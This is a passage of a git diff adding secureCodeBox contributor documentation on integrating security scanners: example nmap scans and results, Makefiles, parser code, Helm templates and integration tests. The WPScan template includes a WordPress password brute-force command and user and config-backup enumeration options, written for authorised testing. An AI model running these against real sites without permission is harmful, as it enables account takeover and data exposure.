`maintainers` field should contain the following values: + +```yaml +maintainers: + - name: iteratec GmbH + - email: secureCodeBox@iteratec.com +``` diff --git a/documentation/docs/contributing/integrating-a-scanner/examples-dir.md b/documentation/docs/contributing/integrating-a-scanner/examples-dir.md new file mode 100644 index 0000000000..aa65305c1d --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/examples-dir.md @@ -0,0 +1,124 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: examples (Directory) +sidebar_position: 8 +--- + +The `examples` directory should contain some basic examples using your scanner. +For each example use-case you need to provide three files: `findings.yaml`, `scan.yaml` and the raw results of your scanner. +Please make sure that these examples can be run locally if possible. + +## scan.yaml + +This file contains a basic configuration for your scan for a demo target. +For nmap a `scan.yaml` could look like the following: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nmap-juice-shop-cluster-internal" + spec: + scanType: "nmap" + parameters: + # Internal cluster is blocking our ping probes, therefore we skip them + - "-Pn" + # Service Detection enabled + - "-sV" + # Actual Service Address will depend on you cluster and namespace configuration. 🤷<200d> + - juice-shop.demo-targets.svc.cluster.local +``` + +## findings.yaml + +This file contains the expected findings for your `scan.yaml` if applied. +For the provided nmap example this looks like the following: + +```yaml +[ + { + "name": "http", + "description": "Port 3000 is open using tcp protocol.", + "category": "Open Port", + "location": "tcp://10.111.199.4:3000", + "osi_layer": "NETWORK", + "severity": "INFORMATIONAL", + "attributes": + { + "port": 3000, + "state": "open", + "ip_address": "10.111.199.4", + "mac_address": null, + "protocol": "tcp", + "hostname": "juice-shop.demo-targets.svc.cluster.local", + "method": "probed", + "operating_system": null, + "service": "http", + "serviceProduct": "Node.js Express framework", + "serviceVersion": null, + "scripts": null, + }, + "id": "a9ec9f11-4cfa-461b-85c0-57ea31162112", + }, + { + "name": "Host: juice-shop.demo-targets.svc.cluster.local", + "category": "Host", + "description": "Found a host", + "location": "juice-shop.demo-targets.svc.cluster.local", + "severity": "INFORMATIONAL", + "osi_layer": "NETWORK", + "attributes": + { + "ip_address": "10.111.199.4", + "hostname": "juice-shop.demo-targets.svc.cluster.local", + "operating_system": null, + }, + "id": "080d888a-a9bc-4c74-8d03-c4c6cc40238d", + }, +] +``` + +## Scanner Results + +We will also need a file containing the raw results of you scanner. +For this nmap scan this would be a XML file: + +```xml +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE nmaprun> +<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?> +<!-- Nmap 7.80 scan initiated Sun Jun 28 17:38:24 2020 as: nmap -oX /home/securecodebox/nmap-results.xml -Pn -sV dummy-ssh.demo-targets.svc --> +<nmaprun scanner="nmap" args="nmap -oX /home/securecodebox/nmap-results.xml -Pn -sV dummy-ssh.demo-targets.svc" start="1593365904" startstr="Sun Jun 28 17:38:24 2020" version="7.80" xmloutputversion="1.04"> + <scaninfo type="connect" protocol="tcp" numservices="1000" services="1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389"/> + <verbose level="0"/> + <debugging level="0"/> + <host starttime="1593365904" endtime="1593365909"> + <status state="up" reason="user-set" reason_ttl="0"/> + <address addr="10.102.131.102" addrtype="ipv4"/> + <hostnames> + <hostname name="dummy-ssh.demo-targets.svc" type="user"/> + <hostname name="dummy-ssh.demo-targets.svc.cluster.local" type="PTR"/> + </hostnames> + <ports> + <extraports state="filtered" count="999"> + <extrareasons reason="no-responses" count="999"/> + </extraports> + <port protocol="tcp" portid="22"> + <state state="open" reason="syn-ack" reason_ttl="0"/> + <service name="ssh" product="OpenSSH" version="7.2p2 Ubuntu 4ubuntu2.8" extrainfo="Ubuntu Linux; protocol 2.0" ostype="Linux" method="probed" conf="10"> + <cpe>cpe:/a:openbsd:openssh:7.2p2</cpe> + <cpe>cpe:/o:linux:linux_kernel</cpe> + </service> + </port> + </ports> + <times srtt="311" rttvar="2145" to="100000"/> + </host> + <runstats> + <finished time="1593365909" timestr="Sun Jun 28 17:38:29 2020" elapsed="5.14" summary="Nmap done at Sun Jun 28 17:38:29 2020; 1 IP address (1 host up) scanned in 5.14 seconds" exit="success"/> + <hosts up="1" down="0" total="1"/> + </runstats> +</nmaprun> +``` diff --git a/documentation/docs/contributing/integrating-a-scanner/integrating-a-scanner.md b/documentation/docs/contributing/integrating-a-scanner/integrating-a-scanner.md new file mode 100644 index 0000000000..b816424ac1 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/integrating-a-scanner.md @@ -0,0 +1,60 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Integrating A New Scanner" +sidebar_position: 1 +--- + +In the _secureCodeBox_ we created new _Custom Resource Definitions_ (CRD) for Kubernetes to manage scanners (_ScanType_) and hooks (see [Custom Resource Definitions](/docs/api/crds)). +To add a new Scanner you need to add a new _ScanType_ (see [ScanType](/docs/api/crds/scan-type)) and a parser for its results. + +The directory structure of a scanner Helm Chart will look something like this: + +```bash +scanners/nmap +├── cascading-rules +│   └── ... +├── docs +│   ├── README.ArtifactHub.md +│   ├── README.DockerHub-Parser.md +│   └── README.DockerHub-Scanner.md +├── examples +│   ├── demo-target-ssh +│   │   ├── findings.yaml +│   │   ├── nmap-results.xml +│   │   └── scan.yaml +│   └── ... +├── parser +│   ├── Dockerfile +│   ├── package.json +│   ├── package-lock.json +│   ├── parser.js +│   ├── parser.test.js +│   └── __testFiles__ +│   └── ... +├── templates +│   ├── cascading-rules.yaml +│   ├── nmap-parse-definition.yaml +│   └── nmap-scan-type.yaml +├── scanner +│   └── Dockerfile +├── Chart.yaml +├── values.yaml +├── Makefile +├── README.md +├── .helm-docs.gotmpl +├── .helmignore +└── .gitignore +``` + +To create a new Helm Chart for your scanner you can use the following command (replace _new-scanner_ with the name of the scanner): + +```bash +make create-new-scanner NAME=new-scanner +``` + +This command will create a new directory named _new-scanner_ and some template files provided by `helm` to simplify the creation of Helm Charts (see [Helm | Getting Started](https://helm.sh/docs/chart_template_guide/getting_started/)). + +The following pages describe the purpose of all files and how to configure them. diff --git a/documentation/docs/contributing/integrating-a-scanner/integration-tests.md b/documentation/docs/contributing/integrating-a-scanner/integration-tests.md new file mode 100644 index 0000000000..b107e3d290 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/integration-tests.md @@ -0,0 +1,75 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Integration Tests +sidebar_position: 10 +--- + +After you have finished the implementation, it's very much recommended to add some End-2-End Integration Tests +for your scanner to check if everything is running smoothly together. + +## Write your tests + +In most cases, the simplest and most effective way +to test your scanner is by running it against a `demo-target`. You can also re-use one of the examples you provided. + +Let's have a look at the [ssh-scan](https://github.com/secureCodeBox/secureCodeBox/blob/main/tests/integration/scanner/ssh-scan.test.js) test to understand all the steps required: + +```javascript +test( + "ssh-scan should find a couple of findings for a dummy ssh service", + async () => { + const { categories, severities, count } = await scan( + "ssh-scan-dummy-ssh", // Name of test + "ssh-scan", // Name of scan command + ["-t", "dummy-ssh.demo-targets.svc"], // Parameters + 90 + ); + + expect(count).toBe(4); + expect(categories).toMatchInlineSnapshot(` + Object { + "SSH Policy Violation": 3, + "SSH Service": 1, + } + `); + expect(severities).toMatchInlineSnapshot(` + Object { + "informational": 1, + "medium": 3, + } + `); + }, + 3 * 60 * 1000 +); +``` + +At first, we start our scan function, and we feed it with a scan name, the specific scan command and a list of parameters +for the scan. Likely, you can copy them from an example. Note that you must refer to your targeted demo-target via +`name.demp-apps.svc` if it is installed in the "demo-targets" namespace. +**Please don't use any external websites (like google.com) in your integration tests!** + +The last parameter is a test timeout in seconds. This timeout should be lower than the general one for the jest test +to provide us with better information in case that the test fails. + +Upon finishing successfully, the scan will give us back categories, severities and a number of findings (count). +We can then use them to create our test assertions. If you use snapshots, you don't need to copy your findings manually, +you can rather automatically update them via `npx jest --update-snapshot` (see below). + +The last parameter would be the test timeout for jest in milliseconds, make sure it is high enough and +higher than the timeout provided above. + +## Run your integration tests locally + +Before pushing them to the repository, make sure your tests run successfully in your local cluster. You may use the [makefile](/docs/contributing/integrating-a-scanner/makefile) to run your integration tests locally. + +## Integrate in ci.yaml + +If your tests are successful, you can eventually integrate them in the [ci workflow](https://github.com/secureCodeBox/secureCodeBox/blob/main/.github/workflows/ci.yaml#L414). Here you have to go through the +same steps as above to install all the resources in the cluster. Please make sure to stick to the conventions +already used in the yaml file and please do not install any resources for your tests that have already been installed +or are not used in the tests. + +Thank you for helping us to provide high quality open source code! :) diff --git a/documentation/docs/contributing/integrating-a-scanner/makefile.md b/documentation/docs/contributing/integrating-a-scanner/makefile.md new file mode 100644 index 0000000000..768bca0033 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/makefile.md @@ -0,0 +1,123 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Makefile +sidebar_position: 4 +--- + +To test your scanner locally, you may use the following makefile. + +```makefile +#!/usr/bin/make -f + +include_guard = set # Always include this line (checked in the makefile framework) +scanner = angularjs-csti-scanner # The name of your scanner +custom_scanner = set # Include this line if your scanner has a dockerfile + +include ../../scanners.mk # Ensures that all the default makefile targets are included +``` + +See [Local Deployment](/docs/contributing/local-deployment) for examples how to use the Makefiles. + +## Available makefile targets + +| Target | Use | +| --------------------------------- | ------------------------------------------------------------------------------------ | +| reset-integration-tests-namespace | Resets the integration-tests namespace | +| unit-tests | Run your parser unit tests | +| docker-build | Builds your parser (& scanner) | +| docker-export | Exports your parser (& scanner) into a .tar file | +| kind-import | Loads your parser (& scanner) .tar files into your local kind cluster | +| deploy | Deploys your scanner helm chart into your local kind cluster | +| deploy-test-deps | Deploys your scanner's test dependencies (demo-targets) into your local kind cluster | +| integration-tests | Deletes all scans and runs your integration test `scanners/SCANNER_NAME.test.js` | + +## Configuring your makefile (examples) + +### Adding test dependencies (demo-targets) + +```makefile +#!/usr/bin/make -f + +include_guard = set +scanner = wpscan + +include ../../scanners.mk + +deploy-test-deps: deploy-test-dep-old-wordpress +``` + +This adds the old-wordpress demo-target to your integration tests. You can find all available demo-targets in `common.mk`. + +### Overriding helm deploy configurations + +```makefile +#!/usr/bin/make -f +include_guard = set +scanner = kubeaudit +custom_scanner = set + +include ../../scanners.mk + +deploy-with-scanner: + @echo ".: 💾 Deploying custom '$(scanner)' scanner HelmChart with the docker tag '$(IMG_TAG)' into kind namespace 'integration-tests'." + helm -n integration-tests upgrade --install $(scanner) ./ --wait \ + --set="parser.image.repository=docker.io/$(IMG_NS)/$(parser-prefix)-$(scanner)" \ + --set="parser.image.tag=$(IMG_TAG)" \ + --set="scanner.image.repository=docker.io/$(IMG_NS)/$(scanner-prefix)-$(scanner)" \ + --set="scanner.image.tag=$(IMG_TAG)" \ + --set="kubeauditScope=cluster" + +deploy-test-deps: + # If not exists create namespace where the tests will be executed + kubectl create namespace kubeaudit-tests --dry-run=client -o yaml | kubectl apply -f - + # Install jshop in kubeaudit-tests namespace + helm -n kubeaudit-tests upgrade --install juice-shop ../../demo-targets/juice-shop/ --wait +``` + +This makefile overrides the deploy-with-scanner target such that the `kubeauditScope` can be overwritten. +Furthermore, it overrides the deploy-test-deps target such that juice-shop is installed in the correct namespace (kubeaudit-tests). + +### Reusing components from other scanners + +```makefile +#!/usr/bin/make -f + +include_guard = set +scanner = zap-advanced +custom_scanner = set + +include ../../scanners.mk + +unit-tests: + @$(MAKE) -s unit-test-py + +unit-tests-parser: + $(MAKE) -s -f ../../scanners.mk unit-tests-parser include_guard=set scanner=zap + +install-deps: + cd ../zap/ && $(MAKE) -s install-deps + +docker-build-parser: + cd ../zap/ && $(MAKE) -s docker-build-parser + +docker-export-parser: + cd ../zap/ && $(MAKE) -s docker-export-parser + +kind-import-parser: + cd ../zap/ && $(MAKE) -s kind-import-parser + +deploy-with-scanner: + @echo ".: 💾 Deploying custom '$(scanner)' scanner HelmChart with the docker tag '$(IMG_TAG)' into kind namespace 'integration-tests'." + helm -n integration-tests upgrade --install $(scanner) ./ --wait \ + --set="parser.image.repository=docker.io/$(IMG_NS)/$(parser-prefix)-zap" \ + --set="parser.image.tag=$(IMG_TAG)" \ + --set="scanner.image.repository=docker.io/$(IMG_NS)/$(scanner-prefix)-$(scanner)" \ + --set="scanner.image.tag=$(IMG_TAG)" + +deploy-test-deps: deploy-test-dep-nginx deploy-test-dep-bodgeit deploy-test-dep-juiceshop deploy-test-dep-petstore +``` + +Zap-advanced reuses the parser container from zap scanner, thus in the makefile, we overwrite the targets for parser build so that they reference the makefile from zap. diff --git a/documentation/docs/contributing/integrating-a-scanner/parser-dir.md b/documentation/docs/contributing/integrating-a-scanner/parser-dir.md new file mode 100644 index 0000000000..cfee2b028f --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/parser-dir.md @@ -0,0 +1,103 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: parser (Directory) +sidebar_position: 6 +--- + +This directory contains the parser for your scanner to transform the results of your scanner to _Findings_ (see: [Finding | secureCodeBox](/docs/api/finding)). + +## Dockerfile + +For the parser we use multi-stage builds (see: [Multi-Stage Builds](https://www.docker.com/blog/multi-stage-builds/)) +For our JavaScript Parser SDK the Dockerfile should look like this: + +```dockerfile +ARG baseImageTag +FROM node:14-alpine as build +RUN mkdir -p /home/app +WORKDIR /home/app +COPY package.json package-lock.json ./ +RUN npm ci --production + +FROM securecodebox/parser-sdk-nodejs:${baseImageTag:-latest} +WORKDIR /home/app/parser-wrapper/parser/ +COPY --from=build --chown=app:app /home/app/node_modules/ ./node_modules/ +COPY --chown=app:app ./parser.js ./parser.js +``` + +If your parser does not require any external dependencies, A multi-stage build is not needed. +Instead, A simpler Dockerfile can be used. + +```dockerfile +ARG namespace +ARG baseImageTag +FROM securecodebox/parser-sdk-nodejs:${baseImageTag:-latest} +WORKDIR /home/app/parser-wrapper/parser/ +COPY --chown=app:app ./parser.js ./parser.js +``` + +See [Local Deployment](/docs/contributing/local-deployment) for instructions on how to build your parser. + +## Parsing SDK + +To create a parser for your scanner you will have to execute the following steps in the parser directory: + +### Create a new package.json (using `npm init`) + +Your `package.json` should look something like this: + +```json +{ + "name": "nmap-parser", + "version": "1.0.0", + "description": "Parses result files for the type: 'nmap-xml'", + "main": "", + "scripts": {}, + "keywords": [], + "author": "iteratec GmbH", + "license": "Apache-2.0", + "dependencies": { + "lodash": "^4.17.20", + "xml2js": "^0.4.23" + }, + "devDependencies": {} +} +``` + +### Install The Dependencies + +If you need additional dependencies you can install them via `npm install` + +### Write Your Parser + +Create a `parser.js` file and update the parser function of the Parser SDK. A starting point would be: + +```javascript +async function parse(fileContent) { + return []; +} + +module.exports.parse = parse; +``` + +After your scanner has finished, the Parser SDK will retrieve the output results and call your custom parse function `parse`. The SDK expects a finding object as specified in [Finding | secureCodeBox](/docs/api/finding). The `id`, `parsed_at` and `identified_at` fields can be omitted, as they will be added by the Parser SDK. + +### Write Tests for Your Parser + +Please provide some tests for your parser in the `parser.test.js` file. To make sure that the output complies with the format specified in [Finding | secureCodeBox](/docs/api/finding) you should call the method `validateParser(parseResult)` from the ParserSDK and assert that it must resolve (not throw errors). You can do so e.g. by calling the following code. See the already existing parsers for reference. + +```javascript +const { + validateParser, +} = require("@securecodebox/parser-sdk-nodejs/parser-utils"); + +const findings = await parse(fileContent); +await expect(validateParser(findings)).resolves.toBeUndefined(); +``` + +If you need additional files for your test please save these in the `__testFiles__` directory. Please take a look at [Integration Tests | secureCodeBox](/docs/contributing/integrating-a-scanner/integration-tests) for more information. + +Assuming you've set up the scanner [makefile](/docs/contributing/integrating-a-scanner/makefile), you can run your unit test with `make unit-tests`. diff --git a/documentation/docs/contributing/integrating-a-scanner/readme-and-helm-docs.md b/documentation/docs/contributing/integrating-a-scanner/readme-and-helm-docs.md new file mode 100644 index 0000000000..4fe21b986e --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/readme-and-helm-docs.md @@ -0,0 +1,108 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: README.md And .helm-docs.gotmpl +sidebar_position: 9 +--- + +You may have noticed that all our scanners provide a `README.md` as well as a `.helm-docs.gotmpl`. +The reason for this is that we want to provide the documentation of our Helm values directly in our `README.md`. +To avoid the need to do this task manually we use a tool that creates a table with all our values directly from our `values.yaml`. +Therefore there is no need to make any changes on the `README.md` itself. +Every change has to be made in the `.helm-docs.gotmpl` file. + +The `.helm-docs.gotmpl` should contain basic information about your scanner like its purpose, how it is deployed, how it is configured as well as its Chart configurations generated out of the `values.yaml`. +For example the `.helm-docs.gotmpl` for _WPScan_ looks like this: + +````markdown {73} +--- +title: 'WPScan' +category: 'scanner' +type: "CMS" +state: "released" +appVersion: "{{ template "chart.appVersion" . }}" +usecase: "Wordpress Vulnerability Scanner" +--- + +![WPScan Logo](https://raw.githubusercontent.com/wpscanteam/wpscan/gh-pages/images/wpscan_logo.png) + +{{- end }} + +{{- define "extra.dockerDeploymentSection" -}} + +## Supported Tags + +- `latest` (represents the latest stable release build) +- tagged releases, e.g. `3.0.0`, `2.9.0`, `2.8.0`, `2.7.0` + {{- end }} + +{{- define "extra.chartAboutSection" -}} + +## What is WPScan? + +WPScan is a free, for non-commercial use, black box WordPress vulnerability scanner written for security professionals and blog maintainers to test the security of their sites. + +> NOTE: You need to provide WPSan with an API Token so that it can look up vulnerabilities infos with [https://wpvulndb.com](https://wpvulndb.com). Without the token WPScan will only identify WordPress Core / Plugin / Theme versions but not if they are actually vulnerable. You can get a free API Token at by registering for an account at [https://wpvulndb.com](https://wpvulndb.com). Using the secureCodeBox WPScans you can specify the token via the `WPVULNDB_API_TOKEN` target attribute, see the example below. + +To learn more about the WPScan scanner itself visit [wpscan.org] or [wpscan.io]. +{{- end }} + +{{- define "extra.scannerConfigurationSection" -}} + +## Scanner Configuration + +The following security scan configuration example are based on the [WPScan Documentation], please take a look at the original documentation for more configuration examples. + +- Scan all plugins with known vulnerabilities: `wpscan --url example.com -e vp --plugins-detection mixed --api-token WPVULNDB_API_TOKEN` +- Scan all plugins in our database (could take a very long time): `wpscan --url example.com -e ap --plugins-detection mixed --api-token WPVULNDB_API_TOKEN` +- Password brute force attack: `wpscan --url example.com -e u --passwords /path/to/password_file.txt` +- WPScan keeps a local database of metadata that is used to output useful information, such as the latest version of a plugin. The local database can be updated with the following command: `wpscan --update` +- When enumerating the WordPress version, installed plugins or installed themes, you can use three different "modes", which are: + - passive + - aggressive + - mixed + If you want the most results use the "mixed" mode. However, if you are worried that the server may not be able to handle many requests, use the "passive" mode. The default mode is "mixed", except plugin enumeration, which is "passive". You will need to manually override the plugin detection mode, if you want to use anything other than the default, with the `--plugins-detection` option. +- WPScan can enumerate various things from a remote WordPress application, such as plugins, themes, usernames, backed up files wp-config.php files, Timthumb files, database exports and more. To use WPScan's enumeration capabilities supply the `-e `option. + +```bash +Available Choices: + vp | Vulnerable plugins + ap | All plugins + p | Plugins + vt | Vulnerable themes + at | All themes + t | Themes + tt | Timthumbs + cb | Config backups + dbe | Db exports + u | User IDs range. e.g: u1-5 + Range separator to use: '-' + Value if no argument supplied: 1-10 + m | Media IDs range. e.g m1-15 + Note: Permalink setting must be set to "Plain" for those to be detected + Range separator to use: '-' + Value if no argument supplied: 1-100 + +Separator to use between the values: ',' +Default: All Plugins, Config Backups +Value if no argument supplied: vp,vt,tt,cb,dbe,u,m +Incompatible choices (only one of each group/s can be used): + - vp, ap, p + - vt, at, t +``` + +{{- end }} + +{{- define "extra.chartConfigurationSection" -}} +{{- end }} + +{{- define "extra.scannerLinksSection" -}} +[wpscan.io]: https://wpscan.io/ +[wpscan.org]: https://wpscan.org/ +[WPScan Documentation]: https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation +{{- end }} +```` + +If you want to generate the `README.md` out of your `.helm-docs.gotmpl` locally, you need to install `helm-docs` (see: [https://github.com/norwoodj/helm-docs/](https://github.com/norwoodj/helm-docs/)) and run `make docs`. diff --git a/documentation/docs/contributing/integrating-a-scanner/scanner-dir.md b/documentation/docs/contributing/integrating-a-scanner/scanner-dir.md new file mode 100644 index 0000000000..c7ea068c94 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/scanner-dir.md @@ -0,0 +1,42 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: scanner (Directory) +sidebar_position: 5 +--- + +If it is not possible to use the official Docker Image of your scanner (e.g. there is no official repository) you will need to create a `scanner` directory containing a Dockerfile and maybe a `wrapper.sh`. + +## Dockerfile + +The Dockerfile should be minimal and based on the official _alpine_ baseimage. +Please make sure to add a new user for your scanner. +Please change the user using `UID`. This enables the Image to run in clusters which have a strict `runAsNonRoot` policy (See [Pod Security Policies | Kubernetes](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#users-and-groups)). +Use the Docker build argument `scannerVersion` to retrieve a specific version of your scanner. +`scannerVersion` should be populated by your scanner's chart `AppVersion` field (see [Local Deployment](/docs/contributing/local-deployment)). +A Docker image for nmap would look the following: + +```dockerfile +FROM alpine:3.12 +ARG scannerVersion=latest +RUN apk add --no-cache nmap=$scannerVersion nmap-scripts=$scannerVersion +RUN addgroup --system --gid 1001 nmap && adduser nmap --system --uid 1001 --ingroup nmap +USER 1001 +CMD [nmap] +``` + +See [Local Deployment](/docs/contributing/local-deployment) for instructions on how to build and deploy your scanner. + +## wrapper.sh + +Sometimes it will be necessary to wrap the scanner e.g. the scanner returns bad exit codes when they identify findings. +This would cause the Kubernetes jobs to fail even thought the scanner has actually run successfully, after all it's "their job" to identify findings. +Please provide this script as `wrapper.sh` and use it as `CMD` value in your Dockerfile. + +Furthermore, note that the scanner should output the findings to `/home/securecodebox/<your_scanner>.<filetype>`. This should be the same as in `ScanType` `Spec.ExtractResults.Location`. Please take a look at [ScanType | secureCodeBox](/docs/api/crds/scan-type) on how to configure your `ScanType`. Outputting results to a file is usually specified as a command line option to your scanner (e.g. `nmap -oX file.xml`), but in the case that the scanner does not provide such an options, you could write the wrapper as follows: + +```shell +python scanner.py "$@" 1> /home/securecodebox/<your_scanner>.<filetype> +``` diff --git a/documentation/docs/contributing/integrating-a-scanner/templates-dir.md b/documentation/docs/contributing/integrating-a-scanner/templates-dir.md new file mode 100644 index 0000000000..173d8c9899 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/templates-dir.md @@ -0,0 +1,66 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: templates (Directory) +sidebar_position: 7 +--- + +The `templates` directory contains multiple files and dirs per default (using `helm create`). +Those are not needed and should be deleted. +For the _secureCodeBox_ we will need files for the `ScanType`, `ParseDefinition` and `CascadingRule`. +Please replace _new-scanner_ with the name of your scanner for the following files. + +### new-scanner-scan-type.yaml + +This file contains the Specification of your `ScanType`. +Please take a look at [ScanType | secureCodeBox](/docs/api/crds/scan-type) on how to configure your `ScanType`. + +### new-scanner-parse-definition.yaml + +This file contains the ParseDefinition of your scanner. +We use the convention where the values to the parse definition are taken from the `values.yaml` in the scanner's folder. + +#### Example + +```yaml +apiVersion: execution.securecodebox.io/v1 +kind: ParseDefinition +metadata: + name: zap-json +spec: + image: "{{ .Values.parser.image.repository }}:{{ .Values.parser.image.tag | default .Chart.Version }}" + ttlSecondsAfterFinished: {{ .Values.parser.ttlSecondsAfterFinished }} + env: {{ - toYaml .Values.parser.env | nindent 4 }} +``` + +More information under [ParseDefinition | secureCodeBox](/docs/api/crds/parse-definition) + +### cascading-rules.yaml + +The `CascadingRules` define under which conditions your scanner will be run after other scanners. +Please take a look at [CascadingRule | secureCodeBox](/docs/api/crds/cascading-rule) on how to configure your `CascadingRules`. +The CascadingRules are not directly in the /templates directory as their curly bracket syntax clashes with helms templates. +We import them as raw files to avoid these clashes as escaping them is even more messy. +Your `cascading-rules.yaml` should look like the following: + +```yaml +# We only want to import the default cascading rules if they are enabled +{{ if .Values.cascadingRules.enabled }} +{{ range $path, $_ := .Files.Glob "cascading-rules/*" }} +# Include File +{{ $.Files.Get $path }} +# Separate multiple files +--- +{{ end }} +{{ end }} +``` + +In addition, you should add the following to your `values.yaml` to allow that the inclusion of the default cascading rules of your scanner can be skipped: + +```yaml +cascadingRules: + # cascadingRules.enabled -- Enables or disables the installation of the default cascading rules for this scanner + enabled: true +``` diff --git a/documentation/docs/contributing/integrating-a-scanner/values.yaml.md b/documentation/docs/contributing/integrating-a-scanner/values.yaml.md new file mode 100644 index 0000000000..869b48869d --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/values.yaml.md @@ -0,0 +1,158 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: values.yaml +sidebar_position: 2 +--- + +The `values.yaml` is also created by `helm create new-scanner`. +Most of these generated fields are not necessary for the _secureCodeBox_. +In the following we will describe the important fields. +The final `values.yaml` will look something like this: + +```yaml +# Define the image and settings for the parser container +parser: + image: + # parser.image.repository -- Parser image repository + repository: docker.io/securecodebox/parser-nmap + # parser.image.tag -- Parser image tag + # @default -- defaults to the charts version + tag: null + + # parser.ttlSecondsAfterFinished -- seconds after which the kubernetes job for the parser will be deleted. Requires the Kubernetes 